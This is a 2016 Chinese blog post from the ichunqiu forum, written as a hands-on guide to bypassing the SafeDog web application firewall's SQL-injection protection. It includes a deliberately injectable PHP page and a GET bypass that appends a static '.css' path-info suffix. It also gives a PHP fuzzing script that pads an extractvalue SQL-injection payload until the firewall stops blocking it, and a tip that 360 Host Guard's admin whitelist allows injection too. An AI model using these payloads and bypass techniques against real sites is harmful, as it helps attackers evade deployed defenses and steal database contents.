记一次720度托马斯回旋过狗!

作者:索马里的海贼

来源:ichunqiu

本文属i春秋原创奖励计划,未经许可禁止转载!
前言
前些日子测试漏洞碰上了安全狗,一直做代码审计没什么实战经验 被虐的不要不要的。找了一些网上的方法,基本上封的封有限制的有限制,没什么通用的好方法(当然也可能是我找的姿势不对)。昨天有点时间就特地看了下安全狗的逻辑做了一些fuzz,成功bypass了GET和POST的注入防御,不是特别通用,就当给大伙分享一些思路。

正文
测试环境
Windows Server 2003 Enterprise Edition Service Pack 2
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
网站安全狗(APACHE版) V3.5正式版

  • 1.主程序版本:3.5.12048
  • 2.网马库版本:2016-06-29

测试代码
sqlin.php:

<?php

$link = mysql_connect('localhost', 'root', 'root'); mysql_select_db('anquangou', $link);


$sql = 'select * from `user` where `id`='.$_REQUEST['id']; echo $sql."<br>\n";

$result =mysql_query($sql);

while($array = mysql_fetch_assoc($result)){ echo "id:".$array['Id']."<br />\n";

echo "username:".$array['username']."<br />\n"; echo "password:".$array['password']."<br />\n";

}

echo mysql_error();

 

数据库:

 

# Host: localhost        (Version: 5.5.53)

#        Date: 2016-11-19 17:57:30

#        Generator: MySQL-Front 5.3 (Build 4.234)

/*!40101 SET NAMES utf8 */;

#

# Structure for table "admin"

#

DROP TABLE IF EXISTS `admin`;

CREATE TABLE `admin` (

`Id` int(11) NOT NULL AUTO_INCREMENT, `admin_name` varchar(255) DEFAULT NULL, `admin_pass` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)

) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

#

# Data for table "admin"

#

/*!40000 ALTER TABLE `admin` DISABLE KEYS */; INSERT INTO `admin` VALUES (1,'admin','admin888');

/*!40000 ALTER TABLE `admin` ENABLE KEYS */;

#

# Structure for table "user"

#

DROP TABLE IF EXISTS `user`;

CREATE TABLE `user` (

`Id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)

) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;

#

# Data for table "user"

#

/*!40000 ALTER TABLE `user` DISABLE KEYS */;


INSERT INTO `user` VALUES (1,'user','userpass'),(2,'user2','upass2'); /*!40000 ALTER TABLE `user` ENABLE KEYS */;


GET型注入

GET型的注入其实能动手脚的地方不多,就一个url。安全狗没有公开自己的防护规则,不过有添加规则的功能,看了下是用正则语法。猜测官方规则应该也是正则。绕过有两种选择:

1.绕过正则的匹配,匹配失败当然就不会被拦截了。

2.绕过(或者打乱)程序的逻辑。不进入匹配逻辑也就不会拦截了。

对于正则绕过,在不知道防护规则具体正则表达式的前提下,就只能fuzz了,各种穿插配合。不过我尝试的是第二种方法。

安全狗的原理是往Web Service中注入一个模块,抢在Web Service处理之前获得HTTP请求并根据规则处理,没问题就交给Web Service继续处理,有问题就拦截并返回自定义错误信息。
一个简单的测试



fakefile.php实际上并不存在,但是仍然会被安全狗拦下来。当然也包括php5 php4 asp cer asa等等等等 甚至扩展名是.111都会拦截。不过也有例外,常见的静态文件(.js .jpg .swf .css等等)它是不管的。

可以看到并没有出拦截提示而是直接404了 所以猜测安全狗应该是存在类似白名单机制的,特定的静态资源后缀请求就不处理直接交给webserver 这种处理看起来没问题其实是存在隐患的 Apache和IIS默认都开启pathinfo支持 来做个测试

对php来说 请求的是sqlin.php 后面的/pathinfo.css是 PATH_INFO 但是安全狗好像把 pathinfo.css 当作了真正的请求对象,因为是静态资源 所以不做处理直接把请求丢给了php。
就这么秒了?对。。是不是so easy?
        
POST型注入
POST型再用pathinfo就不好使了 因为正常对静态资源的请求不会用post 所以也不用什么白名单了 任何POST请求都要先进狗嘴了绕一圈 那么就想办法来fuzz一下吧 构造一个post脚本

<?php $i=10000;

$url = 'http://192.168.1.121/sqlin.php'; for(;;){

$i++;


echo "$i\n";


$payload = 'id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1='.str_repeat('3',$i); $ret = doPost($url,$payload);


if(!strpos($ret,'网站防火墙')){


echo "done!\n".strlen($payload)."\n".$ret; die();

}


}



function doPost($url,$data=''){ $ch=curl_init();

curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);


curl_close ($ch); return $return;

}


在正常的注入语句后面加入超长字符串 然而跑了很久都没结果 于是停下脚本 换换位置 把超长字符串放在中间

$payload = 'id=-1 and 1='.str_repeat('3',$i).' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))';

跑起来

wtf?又秒了?浏览器中试一下


太坑了 我才刚脱裤子你告诉我结束了

后记

其实实际测试中过程要复杂的多,时间关系挑了成功的步骤写一下pathinfo其实是一个很容易被忽视的问题 顺带测试了一下360的主机卫士 也存在相同的问题。而且360的主机卫士自带的白名单还有类似于dede admin 这样的(后台操作不防御)可以用
http://example.com/index.php/admin/?id=sql注入这种方式来秒

更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php

posted @ 2016-12-23 11:33  i春秋  阅读(528)  评论(0编辑  收藏  举报